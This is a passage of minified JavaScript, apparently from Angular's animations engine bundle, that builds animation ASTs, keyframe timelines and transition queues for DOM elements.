s=e==dl||e==o,a=t==dl||t==i;return!s&&n&&"boolean"==typeof o&&(s=o?fl.has(e):hl.has(e)),!a&&r&&"boolean"==typeof i&&(a=i?fl.has(t):hl.has(t)),s&&a}}const lL=new RegExp("s*:selfs*,?","g");function Yf(e,t,n,r){return new cL(e).build(t,n,r)}class cL{constructor(t){this._driver=t}build(t,n,r){const o=new fL(n);return this._resetContextStyleTimingState(o),ft(this,Gi(t),o)}_resetContextStyleTimingState(t){t.currentQuerySelector="",t.collectedStyles=new Map,t.collectedStyles.set("",new Map),t.currentTime=0}visitTrigger(t,n){let r=n.queryCount=0,o=n.depCount=0;const i=[],s=[];return"@"==t.name.charAt(0)&&n.errors.push(function yk(){return new E(3006,!1)}()),t.definitions.forEach(a=>{if(this._resetContextStyleTimingState(n),0==a.type){const l=a,c=l.name;c.toString().split(/\s*,\s*/).forEach(u=>{l.name=u,i.push(this.visitState(l,n))}),l.name=c}else if(1==a.type){const l=this.visitTransition(a,n);r+=l.queryCount,o+=l.depCount,s.push(l)}else n.errors.push(function vk(){return new E(3007,!1)}())}),{type:7,name:t.name,states:i,transitions:s,queryCount:r,depCount:o,options:null}}visitState(t,n){const r=this.visitStyle(t.styles,n),o=t.options&&t.options.params||null;if(r.containsDynamicStyles){const i=new Set,s=o||{};r.styles.forEach(a=>{a instanceof Map&&a.forEach(l=>{pw(l).forEach(c=>{s.hasOwnProperty(c)||i.add(c)})})}),i.size&&(ul(i.values()),n.errors.push(function Dk(e,t){return new E(3008,!1)}()))}return{type:0,name:t.name,style:r,options:o?{params:o}:null}}visitTransition(t,n){n.queryCount=0,n.depCount=0;const r=ft(this,Gi(t.animation),n);return{type:1,matchers:iL(t.expr,n.errors),animation:r,queryCount:n.queryCount,depCount:n.depCount,options:hr(t.options)}}visitSequence(t,n){return{type:2,steps:t.steps.map(r=>ft(this,r,n)),options:hr(t.options)}}visitGroup(t,n){const r=n.currentTime;let o=0;const i=t.steps.map(s=>{n.currentTime=r;const a=ft(this,s,n);return o=Math.max(o,n.currentTime),a});return n.currentTime=o,{type:3,steps:i,options:hr(t.options)}}visitAnimate(t,n){const r=function pL(e,t){if(e.hasOwnProperty("duration"))return e;if("number"==typeof e)return Xf(cl(e,t).duration,0,"");const n=e;if(n.split(/\s+/).some(i=>"{"==i.charAt(0)&&"{"==i.charAt(1))){const i=Xf(0,0,"");return i.dynamic=!0,i.strValue=n,i}const o=cl(n,t);return Xf(o.duration,o.delay,o.easing)}(t.timings,n.errors);n.currentAnimateTimings=r;let o,i=t.styles?t.styles:$i({});if(5==i.type)o=this.visitKeyframes(i,n);else{let s=t.styles,a=!1;if(!s){a=!0;const c={};r.easing&&(c.easing=r.easing),s=$i(c)}n.currentTime+=r.duration+r.delay;const l=this.visitStyle(s,n);l.isEmptyStep=a,o=l}return n.currentAnimateTimings=null,{type:4,timings:r,style:o,options:null}}visitStyle(t,n){const r=this._makeStyleAst(t,n);return this._validateStyleAst(r,n),r}_makeStyleAst(t,n){const r=[],o=Array.isArray(t.styles)?t.styles:[t.styles];for(let a of o)"string"==typeof a?a===vn?r.push(a):n.errors.push(new E(3002,!1)):r.push(fw(a));let i=!1,s=null;return r.forEach(a=>{if(a instanceof Map&&(a.has("easing")&&(s=a.get("easing"),a.delete("easing")),!i))for(let l of a.values())if(l.toString().indexOf("{{")>=0){i=!0;break}}),{type:6,styles:r,easing:s,offset:t.offset,containsDynamicStyles:i,options:null}}_validateStyleAst(t,n){const r=n.currentAnimateTimings;let o=n.currentTime,i=n.currentTime;r&&i>0&&(i-=r.duration+r.delay),t.styles.forEach(s=>{"string"!=typeof s&&s.forEach((a,l)=>{const c=n.collectedStyles.get(n.currentQuerySelector),u=c.get(l);let d=!0;u&&(i!=o&&i>=u.startTime&&o<=u.endTime&&(n.errors.push(function _k(e,t,n,r,o){return new E(3010,!1)}()),d=!1),i=u.startTime),d&&c.set(l,{startTime:i,endTime:o}),n.options&&function eL(e,t,n){const r=t.params||{},o=pw(e);o.length&&o.forEach(i=>{r.hasOwnProperty(i)||n.push(function hk(e){return new E(3001,!1)}())})}(a,n.options,n.errors)})})}visitKeyframes(t,n){const r={type:5,styles:[],options:null};if(!n.currentAnimateTimings)return n.errors.push(function wk(){return new E(3011,!1)}()),r;let i=0;const s=[];let a=!1,l=!1,c=0;const u=t.steps.map(D=>{const y=this._makeStyleAst(D,n);let _=null!=y.offset?y.offset:function hL(e){if("string"==typeof e)return null;let t=null;if(Array.isArray(e))e.forEach(n=>{if(n instanceof Map&&n.has("offset")){const r=n;t=parseFloat(r.get("offset")),r.delete("offset")}});else if(e instanceof Map&&e.has("offset")){const n=e;t=parseFloat(n.get("offset")),n.delete("offset")}return t}(y.styles),C=0;return null!=_&&(i++,C=y.offset=_),l=l||C<0||C>1,a=a||C<c,c=C,s.push(C),y});l&&n.errors.push(function Ck(){return new E(3012,!1)}()),a&&n.errors.push(function Ik(){return new E(3200,!1)}());const d=t.steps.length;let f=0;i>0&&i<d?n.errors.push(function bk(){return new E(3202,!1)}()):0==i&&(f=1/(d-1));const h=d-1,p=n.currentTime,g=n.currentAnimateTimings,m=g.duration;return u.forEach((D,y)=>{const _=f>0?y==h?1:f*y:s[y],C=_*m;n.currentTime=p+g.delay+C,g.duration=C,this._validateStyleAst(D,n),D.offset=_,r.styles.push(D)}),r}visitReference(t,n){return{type:8,animation:ft(this,Gi(t.animation),n),options:hr(t.options)}}visitAnimateChild(t,n){return n.depCount++,{type:9,options:hr(t.options)}}visitAnimateRef(t,n){return{type:10,animation:this.visitReference(t.animation,n),options:hr(t.options)}}visitQuery(t,n){const r=n.currentQuerySelector,o=t.options||{};n.queryCount++,n.currentQuery=t;const[i,s]=function uL(e){const t=!!e.split(/\s*,\s*/).find(n=>":self"==n);return t&&(e=e.replace(lL,"")),e=e.replace(/@\*/g,ll).replace(/@\w+/g,n=>ll+"-"+n.slice(1)).replace(/:animating/g,Wf),[e,t]}(t.selector);n.currentQuerySelector=r.length?r+" "+i:i,dt(n.collectedStyles,n.currentQuerySelector,new Map);const a=ft(this,Gi(t.animation),n);return n.currentQuery=null,n.currentQuerySelector=r,{type:11,selector:i,limit:o.limit||0,optional:!!o.optional,includeSelf:s,animation:a,originalSelector:t.selector,options:hr(t.options)}}visitStagger(t,n){n.currentQuery||n.errors.push(function Sk(){return new E(3013,!1)}());const r="full"===t.timings?{duration:0,delay:0,easing:"full"}:cl(t.timings,n.errors,!0);return{type:12,animation:ft(this,Gi(t.animation),n),timings:r,options:null}}}class fL{constructor(t){this.errors=t,this.queryCount=0,this.depCount=0,this.currentTransition=null,this.currentQuery=null,this.currentQuerySelector=null,this.currentAnimateTimings=null,this.currentTime=0,this.collectedStyles=new Map,this.options=null,this.unsupportedCSSPropertiesFound=new Set}}function hr(e){return e?(e=zi(e)).params&&(e.params=function dL(e){return e?zi(e):null}(e.params)):e={},e}function Xf(e,t,n){return{duration:e,delay:t,easing:n}}function Jf(e,t,n,r,o,i,s=null,a=!1){return{type:1,element:e,keyframes:t,preStyleProps:n,postStyleProps:r,duration:o,delay:i,totalTime:o+i,easing:s,subTimeline:a}}class pl{constructor(){this._map=new Map}get(t){return this._map.get(t)||[]}append(t,n){let r=this._map.get(t);r||this._map.set(t,r=[]),r.push(...n)}has(t){return this._map.has(t)}clear(){this._map.clear()}}const yL=new RegExp(":enter","g"),DL=new RegExp(":leave","g");function eh(e,t,n,r,o,i=new Map,s=new Map,a,l,c=[]){return(new EL).buildKeyframes(e,t,n,r,o,i,s,a,l,c)}class EL{buildKeyframes(t,n,r,o,i,s,a,l,c,u=[]){c=c||new pl;const d=new th(t,n,c,o,i,u,[]);d.options=l;const f=l.delay?Dn(l.delay):0;d.currentTimeline.delayNextStep(f),d.currentTimeline.setStyles([s],null,d.errors,l),ft(this,r,d);const h=d.timelines.filter(p=>p.containsAnimation());if(h.length&&a.size){let p;for(let g=h.length-1;g>=0;g--){const m=h[g];if(m.element===n){p=m;break}}p&&!p.allowOnlyTimelineStyles()&&p.setStyles([a],null,d.errors,l)}return h.length?h.map(p=>p.buildKeyframes()):[Jf(n,[],[],[],0,f,"",!1)]}visitTrigger(t,n){}visitState(t,n){}visitTransition(t,n){}visitAnimateChild(t,n){const r=n.subInstructions.get(n.element);if(r){const o=n.createSubContext(t.options),i=n.currentTimeline.currentTime,s=this._visitSubInstructions(r,o,o.options);i!=s&&n.transformIntoNewTimeline(s)}n.previousNode=t}visitAnimateRef(t,n){const r=n.createSubContext(t.options);r.transformIntoNewTimeline(),this._applyAnimationRefDelays([t.options,t.animation.options],n,r),this.visitReference(t.animation,r),n.transformIntoNewTimeline(r.currentTimeline.currentTime),n.previousNode=t}_applyAnimationRefDelays(t,n,r){for(const o of t){const i=o?.delay;if(i){const s="number"==typeof i?i:Dn(qi(i,o?.params??{},n.errors));r.delayNextStep(s)}}}_visitSubInstructions(t,n,r){let i=n.currentTimeline.currentTime;const s=null!=r.duration?Dn(r.duration):null,a=null!=r.delay?Dn(r.delay):null;return 0!==s&&t.forEach(l=>{const c=n.appendInstructionToTimeline(l,s,a);i=Math.max(i,c.duration+c.delay)}),i}visitReference(t,n){n.updateOptions(t.options,!0),ft(this,t.animation,n),n.previousNode=t}visitSequence(t,n){const r=n.subContextCount;let o=n;const i=t.options;if(i&&(i.params||i.delay)&&(o=n.createSubContext(i),o.transformIntoNewTimeline(),null!=i.delay)){6==o.previousNode.type&&(o.currentTimeline.snapshotCurrentStyles(),o.previousNode=gl);const s=Dn(i.delay);o.delayNextStep(s)}t.steps.length&&(t.steps.forEach(s=>ft(this,s,o)),o.currentTimeline.applyStylesToKeyframe(),o.subContextCount>r&&o.transformIntoNewTimeline()),n.previousNode=t}visitGroup(t,n){const r=[];let o=n.currentTimeline.currentTime;const i=t.options&&t.options.delay?Dn(t.options.delay):0;t.steps.forEach(s=>{const a=n.createSubContext(t.options);i&&a.delayNextStep(i),ft(this,s,a),o=Math.max(o,a.currentTimeline.currentTime),r.push(a.currentTimeline)}),r.forEach(s=>n.currentTimeline.mergeTimelineCollectedStyles(s)),n.transformIntoNewTimeline(o),n.previousNode=t}_visitTiming(t,n){if(t.dynamic){const r=t.strValue;return cl(n.params?qi(r,n.params,n.errors):r,n.errors)}return{duration:t.duration,delay:t.delay,easing:t.easing}}visitAnimate(t,n){const r=n.currentAnimateTimings=this._visitTiming(t.timings,n),o=n.currentTimeline;r.delay&&(n.incrementTime(r.delay),o.snapshotCurrentStyles());const i=t.style;5==i.type?this.visitKeyframes(i,n):(n.incrementTime(r.duration),this.visitStyle(i,n),o.applyStylesToKeyframe()),n.currentAnimateTimings=null,n.previousNode=t}visitStyle(t,n){const r=n.currentTimeline,o=n.currentAnimateTimings;!o&&r.hasCurrentStyleProperties()&&r.forwardFrame();const i=o&&o.easing||t.easing;t.isEmptyStep?r.applyEmptyStep(i):r.setStyles(t.styles,i,n.errors,n.options),n.previousNode=t}visitKeyframes(t,n){const r=n.currentAnimateTimings,o=n.currentTimeline.duration,i=r.duration,a=n.createSubContext().currentTimeline;a.easing=r.easing,t.styles.forEach(l=>{a.forwardTime((l.offset||0)*i),a.setStyles(l.styles,l.easing,n.errors,n.options),a.applyStylesToKeyframe()}),n.currentTimeline.mergeTimelineCollectedStyles(a),n.transformIntoNewTimeline(o+i),n.previousNode=t}visitQuery(t,n){const r=n.currentTimeline.currentTime,o=t.options||{},i=o.delay?Dn(o.delay):0;i&&(6===n.previousNode.type||0==r&&n.currentTimeline.hasCurrentStyleProperties())&&(n.currentTimeline.snapshotCurrentStyles(),n.previousNode=gl);let s=r;const a=n.invokeQuery(t.selector,t.originalSelector,t.limit,t.includeSelf,!!o.optional,n.errors);n.currentQueryTotal=a.length;let l=null;a.forEach((c,u)=>{n.currentQueryIndex=u;const d=n.createSubContext(t.options,c);i&&d.delayNextStep(i),c===n.element&&(l=d.currentTimeline),ft(this,t.animation,d),d.currentTimeline.applyStylesToKeyframe(),s=Math.max(s,d.currentTimeline.currentTime)}),n.currentQueryIndex=0,n.currentQueryTotal=0,n.transformIntoNewTimeline(s),l&&(n.currentTimeline.mergeTimelineCollectedStyles(l),n.currentTimeline.snapshotCurrentStyles()),n.previousNode=t}visitStagger(t,n){const r=n.parentContext,o=n.currentTimeline,i=t.timings,s=Math.abs(i.duration),a=s*(n.currentQueryTotal-1);let l=s*n.currentQueryIndex;switch(i.duration<0?"reverse":i.easing){case"reverse":l=a-l;break;case"full":l=r.currentStaggerTime}const u=n.currentTimeline;l&&u.delayNextStep(l);const d=u.currentTime;ft(this,t.animation,n),n.previousNode=t,r.currentStaggerTime=o.currentTime-d+(o.startTime-r.currentTimeline.startTime)}}const gl={};class th{constructor(t,n,r,o,i,s,a,l){this._driver=t,this.element=n,this.subInstructions=r,this._enterClassName=o,this._leaveClassName=i,this.errors=s,this.timelines=a,this.parentContext=null,this.currentAnimateTimings=null,this.previousNode=gl,this.subContextCount=0,this.options={},this.currentQueryIndex=0,this.currentQueryTotal=0,this.currentStaggerTime=0,this.currentTimeline=l||new ml(this._driver,n,0),a.push(this.currentTimeline)}get params(){return this.options.params}updateOptions(t,n){if(!t)return;const r=t;let o=this.options;null!=r.duration&&(o.duration=Dn(r.duration)),null!=r.delay&&(o.delay=Dn(r.delay));const i=r.params;if(i){let s=o.params;s||(s=this.options.params={}),Object.keys(i).forEach(a=>{(!n||!s.hasOwnProperty(a))&&(s[a]=qi(i[a],s,this.errors))})}}_copyOptions(){const t={};if(this.options){const n=this.options.params;if(n){const r=t.params={};Object.keys(n).forEach(o=>{r[o]=n[o]})}}return t}createSubContext(t=null,n,r){const o=n||this.element,i=new th(this._driver,o,this.subInstructions,this._enterClassName,this._leaveClassName,this.errors,this.timelines,this.currentTimeline.fork(o,r||0));return i.previousNode=this.previousNode,i.currentAnimateTimings=this.currentAnimateTimings,i.options=this._copyOptions(),i.updateOptions(t),i.currentQueryIndex=this.currentQueryIndex,i.currentQueryTotal=this.currentQueryTotal,i.parentContext=this,this.subContextCount++,i}transformIntoNewTimeline(t){return this.previousNode=gl,this.currentTimeline=this.currentTimeline.fork(this.element,t),this.timelines.push(this.currentTimeline),this.currentTimeline}appendInstructionToTimeline(t,n,r){const o={duration:n??t.duration,delay:this.currentTimeline.currentTime+(r??0)+t.delay,easing:""},i=new _L(this._driver,t.element,t.keyframes,t.preStyleProps,t.postStyleProps,o,t.stretchStartingKeyframe);return this.timelines.push(i),o}incrementTime(t){this.currentTimeline.forwardTime(this.currentTimeline.duration+t)}delayNextStep(t){t>0&&this.currentTimeline.delayNextStep(t)}invokeQuery(t,n,r,o,i,s){let a=[];if(o&&a.push(this.element),t.length>0){t=(t=t.replace(yL,"."+this._enterClassName)).replace(DL,"."+this._leaveClassName);let c=this._driver.query(this.element,t,1!=r);0!==r&&(c=r<0?c.slice(c.length+r,c.length):c.slice(0,r)),a.push(...c)}return!i&&0==a.length&&s.push(function Tk(e){return new E(3014,!1)}()),a}}class ml{constructor(t,n,r,o){this._driver=t,this.element=n,this.startTime=r,this._elementTimelineStylesLookup=o,this.duration=0,this.easing=null,this._previousKeyframe=new Map,this._currentKeyframe=new Map,this._keyframes=new Map,this._styleSummary=new Map,this._localTimelineStyles=new Map,this._pendingStyles=new Map,this._backFill=new Map,this._currentEmptyStepKeyframe=null,this._elementTimelineStylesLookup||(this._elementTimelineStylesLookup=new Map),this._globalTimelineStyles=this._elementTimelineStylesLookup.get(n),this._globalTimelineStyles||(this._globalTimelineStyles=this._localTimelineStyles,this._elementTimelineStylesLookup.set(n,this._localTimelineStyles)),this._loadKeyframe()}containsAnimation(){switch(this._keyframes.size){case 0:return!1;case 1:return this.hasCurrentStyleProperties();default:return!0}}hasCurrentStyleProperties(){return this._currentKeyframe.size>0}get currentTime(){return this.startTime+this.duration}delayNextStep(t){const n=1===this._keyframes.size&&this._pendingStyles.size;this.duration||n?(this.forwardTime(this.currentTime+t),n&&this.snapshotCurrentStyles()):this.startTime+=t}fork(t,n){return this.applyStylesToKeyframe(),new ml(this._driver,t,n||this.currentTime,this._elementTimelineStylesLookup)}_loadKeyframe(){this._currentKeyframe&&(this._previousKeyframe=this._currentKeyframe),this._currentKeyframe=this._keyframes.get(this.duration),this._currentKeyframe||(this._currentKeyframe=new Map,this._keyframes.set(this.duration,this._currentKeyframe))}forwardFrame(){this.duration+=1,this._loadKeyframe()}forwardTime(t){this.applyStylesToKeyframe(),this.duration=t,this._loadKeyframe()}_updateStyle(t,n){this._localTimelineStyles.set(t,n),this._globalTimelineStyles.set(t,n),this._styleSummary.set(t,{time:this.currentTime,value:n})}allowOnlyTimelineStyles(){return this._currentEmptyStepKeyframe!==this._currentKeyframe}applyEmptyStep(t){t&&this._previousKeyframe.set("easing",t);for(let[n,r]of this._globalTimelineStyles)this._backFill.set(n,r||vn),this._currentKeyframe.set(n,vn);this._currentEmptyStepKeyframe=this._currentKeyframe}setStyles(t,n,r,o){n&&this._previousKeyframe.set("easing",n);const i=o&&o.params||{},s=function wL(e,t){const n=new Map;let r;return e.forEach(o=>{if("*"===o){r=r||t.keys();for(let i of r)n.set(i,vn)}else jn(o,n)}),n}(t,this._globalTimelineStyles);for(let[a,l]of s){const c=qi(l,i,r);this._pendingStyles.set(a,c),this._localTimelineStyles.has(a)||this._backFill.set(a,this._globalTimelineStyles.get(a)??vn),this._updateStyle(a,c)}}applyStylesToKeyframe(){0!=this._pendingStyles.size&&(this._pendingStyles.forEach((t,n)=>{this._currentKeyframe.set(n,t)}),this._pendingStyles.clear(),this._localTimelineStyles.forEach((t,n)=>{this._currentKeyframe.has(n)||this._currentKeyframe.set(n,t)}))}snapshotCurrentStyles(){for(let[t,n]of this._localTimelineStyles)this._pendingStyles.set(t,n),this._updateStyle(t,n)}getFinalKeyframe(){return this._keyframes.get(this.duration)}get properties(){const t=[];for(let n in this._currentKeyframe)t.push(n);return t}mergeTimelineCollectedStyles(t){t._styleSummary.forEach((n,r)=>{const o=this._styleSummary.get(r);(!o||n.time>o.time)&&this._updateStyle(r,n.value)})}buildKeyframes(){this.applyStylesToKeyframe();const t=new Set,n=new Set,r=1===this._keyframes.size&&0===this.duration;let o=[];this._keyframes.forEach((a,l)=>{const c=jn(a,new Map,this._backFill);c.forEach((u,d)=>{"!"===u?t.add(d):u===vn&&n.add(d)}),r||c.set("offset",l/this.duration),o.push(c)});const i=t.size?ul(t.values()):[],s=n.size?ul(n.values()):[];if(r){const a=o[0],l=new Map(a);a.set("offset",0),l.set("offset",1),o=[a,l]}return Jf(this.element,o,i,s,this.duration,this.startTime,this.easing,!1)}}class _L extends ml{constructor(t,n,r,o,i,s,a=!1){super(t,n,s.delay),this.keyframes=r,this.preStyleProps=o,this.postStyleProps=i,this._stretchStartingKeyframe=a,this.timings={duration:s.duration,delay:s.delay,easing:s.easing}}containsAnimation(){return this.keyframes.length>1}buildKeyframes(){let t=this.keyframes,{delay:n,duration:r,easing:o}=this.timings;if(this._stretchStartingKeyframe&&n){const i=[],s=r+n,a=n/s,l=jn(t[0]);l.set("offset",0),i.push(l);const c=jn(t[0]);c.set("offset",Ew(a)),i.push(c);const u=t.length-1;for(let d=1;d<=u;d++){let f=jn(t[d]);const h=f.get("offset");f.set("offset",Ew((n+h*r)/s)),i.push(f)}r=s,n=0,o="",t=i}return Jf(this.element,t,this.preStyleProps,this.postStyleProps,r,n,o,!0)}}function Ew(e,t=3){const n=Math.pow(10,t-1);return Math.round(e*n)/n}function _w(e,t,n,r,o,i,s,a,l,c,u,d,f){return{type:0,element:e,triggerName:t,isRemovalTransition:o,fromState:n,fromStyles:i,toState:r,toStyles:s,timelines:a,queriedElements:l,preStyleProps:c,postStyleProps:u,totalTime:d,errors:f}}const nh={};class ww{constructor(t,n,r){this._triggerName=t,this.ast=n,this._stateStyles=r}match(t,n,r,o){return function CL(e,t,n,r,o){return e.some(i=>i(t,n,r,o))}(this.ast.matchers,t,n,r,o)}buildStyles(t,n,r){let o=this._stateStyles.get("*");return void 0!==t&&(o=this._stateStyles.get(t?.toString())||o),o?o.buildStyles(n,r):new Map}build(t,n,r,o,i,s,a,l,c,u){const d=[],f=this.ast.options&&this.ast.options.params||nh,p=this.buildStyles(r,a&&a.params||nh,d),g=l&&l.params||nh,m=this.buildStyles(o,g,d),D=new Set,y=new Map,_=new Map,C="void"===o,P={params:IL(g,f),delay:this.ast.options?.delay},$=u?[]:eh(t,n,this.ast.animation,i,s,p,m,P,c,d);let ne=0;if($.forEach(Ot=>{ne=Math.max(Ot.duration+Ot.delay,ne)}),d.length)return _w(n,this._triggerName,r,o,C,p,m,[],[],y,_,ne,d);$.forEach(Ot=>{const xt=Ot.element,pC=dt(y,xt,new Set);Ot.preStyleProps.forEach(mr=>pC.add(mr));const Yi=dt(_,xt,new Set);Ot.postStyleProps.forEach(mr=>Yi.add(mr)),xt!==n&&D.add(xt)});const Be=ul(D.values());return _w(n,this._triggerName,r,o,C,p,m,$,Be,y,_,ne)}}function IL(e,t){const n=zi(t);for(const r in e)e.hasOwnProperty(r)&&null!=e[r]&&(n[r]=e[r]);return n}class bL{constructor(t,n,r){this.styles=t,this.defaultParams=n,this.normalizer=r}buildStyles(t,n){const r=new Map,o=zi(this.defaultParams);return Object.keys(t).forEach(i=>{const s=t[i];null!==s&&(o[i]=s)}),this.styles.styles.forEach(i=>{"string"!=typeof i&&i.forEach((s,a)=>{s&&(s=qi(s,o,n));const l=this.normalizer.normalizePropertyName(a,n);s=this.normalizer.normalizeStyleValue(a,l,s,n),r.set(a,s)})}),r}}class TL{constructor(t,n,r){this.name=t,this.ast=n,this._normalizer=r,this.transitionFactories=[],this.states=new Map,n.states.forEach(o=>{this.states.set(o.name,new bL(o.style,o.options&&o.options.params||{},r))}),Cw(this.states,"true","1"),Cw(this.states,"false","0"),n.transitions.forEach(o=>{this.transitionFactories.push(new ww(t,o,this.states))}),this.fallbackTransition=function ML(e,t,n){return new ww(e,{type:1,animation:{type:2,steps:[],options:null},matchers:[(s,a)=>!0],options:null,queryCount:0,depCount:0},t)}(t,this.states)}get containsQueries(){return this.ast.queryCount>0}matchTransition(t,n,r,o){return this.transitionFactories.find(s=>s.match(t,n,r,o))||null}matchStyles(t,n,r){return this.fallbackTransition.buildStyles(t,n,r)}}function Cw(e,t,n){e.has(t)?e.has(n)||e.set(n,e.get(t)):e.has(n)&&e.set(t,e.get(n))}const NL=new pl;class AL{constructor(t,n,r){this.bodyNode=t,this._driver=n,this._normalizer=r,this._animations=new Map,this._playersById=new Map,this.players=[]}register(t,n){const r=[],i=Yf(this._driver,n,r,[]);if(r.length)throw function xk(e){return new E(3503,!1)}();this._animations.set(t,i)}_buildPlayer(t,n,r){const o=t.element,i=iw(this._normalizer,t.keyframes,n,r);return this._driver.animate(o,i,t.duration,t.delay,t.easing,[],!0)}create(t,n,r={}){const o=[],i=this._animations.get(t);let s;const a=new Map;if(i?(s=eh(this._driver,n,i,qf,sl,new Map,new Map,r,NL,o),s.forEach(u=>{const d=dt(a,u.element,new Map);u.postStyleProps.forEach(f=>d.set(f,null))})):(o.push(function Fk(){return new E(3300,!1)}()),s=[]),o.length)throw function kk(e){return new E(3504,!1)}();a.forEach((u,d)=>{u.forEach((f,h)=>{u.set(h,this._driver.computeStyle(d,h,vn))})});const c=Ln(s.map(u=>{const d=a.get(u.element);return this._buildPlayer(u,new Map,d)}));return this._playersById.set(t,c),c.onDestroy(()=>this.destroy(t)),this.players.push(c),c}destroy(t){const n=this._getPlayer(t);n.destroy(),this._playersById.delete(t);const r=this.players.indexOf(n);r>=0&&this.players.splice(r,1)}_getPlayer(t){const n=this._playersById.get(t);if(!n)throw function Lk(e){return new E(3301,!1)}();return n}listen(t,n,r,o){const i=Hf(n,"","","");return Vf(this._getPlayer(t),r,i,o),()=>{}}command(t,n,r,o){if("register"==r)return void this.register(t,o[0]);if("create"==r)return void this.create(t,n,o[0]||{});const i=this._getPlayer(t);switch(r){case"play":i.play();break;case"pause":i.pause();break;case"reset":i.reset();break;case"restart":i.restart();break;case"finish":i.finish();break;case"init":i.init();break;case"setPosition":i.setPosition(parseFloat(o[0]));break;case"destroy":this.destroy(t)}}}const Iw="ng-animate-queued",rh="ng-animate-disabled",FL=[],bw={namespaceId:"",setForRemoval:!1,setForMove:!1,hasAnimation:!1,removedBeforeQueried:!1},kL={namespaceId:"",setForMove:!1,setForRemoval:!1,hasAnimation:!1,removedBeforeQueried:!0},Rt="__ng_removed";class oh{get params(){return this.options.params}constructor(t,n=""){this.namespaceId=n;const r=t&&t.hasOwnProperty("value");if(this.value=function BL(e){return e??null}(r?t.value:t),r){const i=zi(t);delete i.value,this.options=i}else this.options={};this.options.params||(this.options.params={})}absorbOptions(t){const n=t.params;if(n){const r=this.options.params;Object.keys(n).forEach(o=>{null==r[o]&&(r[o]=n[o])})}}}const Wi="void",ih=new oh(Wi);class LL{constructor(t,n,r){this.id=t,this.hostElement=n,this._engine=r,this.players=[],this._triggers=new Map,this._queue=[],this._elementListeners=new Map,this._hostClassName="ng-tns-"+t,Et(n,this._hostClassName)}listen(t,n,r,o){if(!this._triggers.has(n))throw function jk(e,t){return new E(3302,!1)}();if(null==r||0==r.length)throw function Vk(e){return new E(3303,!1)}();if(!function HL(e){return"start"==e||"done"==e}(r))throw function Bk(e,t){return new E(3400,!1)}();const i=dt(this._elementListeners,t,[]),s={name:n,phase:r,callback:o};i.push(s);const a=dt(this._engine.statesByElement,t,new Map);return a.has(n)||(Et(t,al),Et(t,al+"-"+n),a.set(n,ih)),()=>{this._engine.afterFlush(()=>{const l=i.indexOf(s);l>=0&&i.splice(l,1),this._triggers.has(n)||a.delete(n)})}}register(t,n){return!this._triggers.has(t)&&(this._triggers.set(t,n),!0)}_getTrigger(t){const n=this._triggers.get(t);if(!n)throw function Hk(e){return new E(3401,!1)}();return n}trigger(t,n,r,o=!0){const i=this._getTrigger(n),s=new sh(this.id,n,t);let a=this._engine.statesByElement.get(t);a||(Et(t,al),Et(t,al+"-"+n),this._engine.statesByElement.set(t,a=new Map));let l=a.get(n);const c=new oh(r,this.id);if(!(r&&r.hasOwnProperty("value"))&&l&&c.absorbOptions(l.options),a.set(n,c),l||(l=ih),c.value!==Wi&&l.value===c.value){if(!function zL(e,t){const n=Object.keys(e),r=Object.keys(t);if(n.length!=r.length)return!1;for(let o=0;o<n.length;o++){const i=n[o];if(!t.hasOwnProperty(i)||e[i]!==t[i])return!1}return!0}(l.params,c.params)){const g=[],m=i.matchStyles(l.value,l.params,g),D=i.matchStyles(c.value,c.params,g);g.length?this._engine.reportError(g):this._engine.afterFlush(()=>{fr(t,m),en(t,D)})}return}const f=dt(this._engine.playersByElement,t,[]);f.forEach(g=>{g.namespaceId==this.id&&g.triggerName==n&&g.queued&&g.destroy()});let h=i.matchTransition(l.value,c.value,t,c.params),p=!1;if(!h){if(!o)return;h=i.fallbackTransition,p=!0}return this._engine.totalQueuedPlayers++,this._queue.push({element:t,triggerName:n,transition:h,fromState:l,toState:c,player:s,isFallbackTransition:p}),p||(Et(t,Iw),s.onStart(()=>{To(t,Iw)})),s.onDone(()=>{let g=this.players.indexOf(s);g>=0&&this.players.splice(g,1);const m=this._engine.playersByElement.get(t);if(m){let D=m.indexOf(s);D>=0&&m.splice(D,1)}}),this.players.push(s),f.push(s),s}deregister(t){this._triggers.delete(t),this._engine.statesByElement.forEach(n=>n.delete(t)),this._elementListeners.forEach((n,r)=>{this._elementListeners.set(r,n.filter(o=>o.name!=t))})}clearElementCache(t){this._engine.statesByElement.delete(t),this._elementListeners.delete(t);const n=this._engine.playersByElement.get(t);n&&(n.forEach(r=>r.destroy()),this._engine.playersByElement.delete(t))}_signalRemovalForInnerTriggers(t,n){const r=this._engine.driver.query(t,ll,!0);r.forEach(o=>{if(o[Rt])return;const i=this._engine.fetchNamespacesByElement(o);i.size?i.forEach(s=>s.triggerLeaveAnimation(o,n,!1,!0)):this.clearElementCache(o)}),this._engine.afterFlushAnimationsDone(()=>r.forEach(o=>this.clearElementCache(o)))}triggerLeaveAnimation(t,n,r,o){const i=this._engine.statesByElement.get(t),s=new Map;if(i){const a=[];if(i.forEach((l,c)=>{if(s.set(c,l.value),this._triggers.has(c)){const u=this.trigger(t,c,Wi,o);u&&a.push(u)}}),a.length)return this._engine.markElementAsRemoved(this.id,t,!0,n,s),r&&Ln(a).onDone(()=>this._engine.processLeaveNode(t)),!0}return!1}prepareLeaveAnimationListeners(t){const n=this._elementListeners.get(t),r=this._engine.statesByElement.get(t);if(n&&r){const o=new Set;n.forEach(i=>{const s=i.name;if(o.has(s))return;o.add(s);const l=this._triggers.get(s).fallbackTransition,c=r.get(s)||ih,u=new oh(Wi),d=new sh(this.id,s,t);this._engine.totalQueuedPlayers++,this._queue.push({element:t,triggerName:s,transition:l,fromState:c,toState:u,player:d,isFallbackTransition:!0})})}}removeNode(t,n){const r=this._engine;if(t.childElementCount&&this._signalRemovalForInnerTriggers(t,n),this.triggerLeaveAnimation(t,n,!0))return;let o=!1;if(r.totalAnimations){const i=r.players.length?r.playersByQueriedElement.get(t):[];if(i&&i.length)o=!0;else{let s=t;for(;s=s.parentNode;)if(r.statesByElement.get(s)){o=!0;break}}}if(this.prepareLeaveAnimationListeners(t),o)r.markElementAsRemoved(this.id,t,!1,n);else{const i=t[Rt];(!i||i===bw)&&(r.afterFlush(()=>this.clearElementCache(t)),r.destroyInnerAnimations(t),r._onRemovalComplete(t,n))}}insertNode(t,n){Et(t,this._hostClassName)}drainQueuedTransitions(t){const n=[];return this._queue.forEach(r=>{const o=r.player;if(o.destroyed)return;const i=r.element,s=this._elementListeners.get(i);s&&s.forEach(a=>{if(a.name==r.triggerName){const 